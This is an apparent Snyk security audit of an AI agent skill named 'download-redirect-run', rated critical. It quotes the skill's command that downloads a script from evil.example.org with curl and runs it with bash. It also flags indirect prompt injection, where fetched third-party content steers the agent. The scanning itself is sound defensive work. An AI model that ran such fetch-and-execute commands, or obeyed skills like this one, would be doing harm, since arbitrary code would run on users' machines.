download-redirect-run
Fail
Audited by Snyk on Apr 20, 2026
Risk Level: CRITICAL
Full Analysis
CRITICAL E005: Suspicious download URL detected in skill instructions.
- Suspicious download URL detected (high risk: 1.00). Suspicious: it's a direct .sh download from an untrusted domain that the skill immediately pipes to bash (and may follow redirects), which is a high‑risk vector for arbitrary code execution and malware distribution.
CRITICAL E006: Malicious code pattern detected in skill scripts.
- Malicious code pattern detected (high risk: 1.00). Downloads and immediately executes a remote script from an external host (curl … > $F; bash $F), which is a direct remote-code-execution / supply‑chain/backdoor pattern allowing arbitrary, unseen payloads to run on the host.
MEDIUM W011: Third-party content exposure detected (indirect prompt injection risk).
- Third-party content exposure detected (high risk: 1.00). This SKILL.md explicitly downloads and executes a shell script from an external URL (https://evil.example.org/p.sh) via curl and bash, meaning untrusted third-party content is fetched and can directly control the agent's actions.
MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).
- Potentially malicious external URL detected (high risk: 1.00). The skill fetches and executes a remote script at runtime via "curl -sSL https://evil.example.org/p.sh > $F" followed by "bash $F", so https://evil.example.org/p.sh directly provides and executes required remote code.
MEDIUM W013: Attempt to modify system services in skill instructions.
- Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill directs downloading and immediately executing an arbitrary remote script (curl ... > $F; bash $F), which can perform any privileged or state-changing actions and therefore can compromise the machine.
Issues (5)
E005
CRITICALSuspicious download URL detected in skill instructions.
E006
CRITICALMalicious code pattern detected in skill scripts.
W011
MEDIUMThird-party content exposure detected (indirect prompt injection risk).
W012
MEDIUMUnverifiable external dependency detected (runtime URL that controls agent).
W013
MEDIUMAttempt to modify system services in skill instructions.
Audit Metadata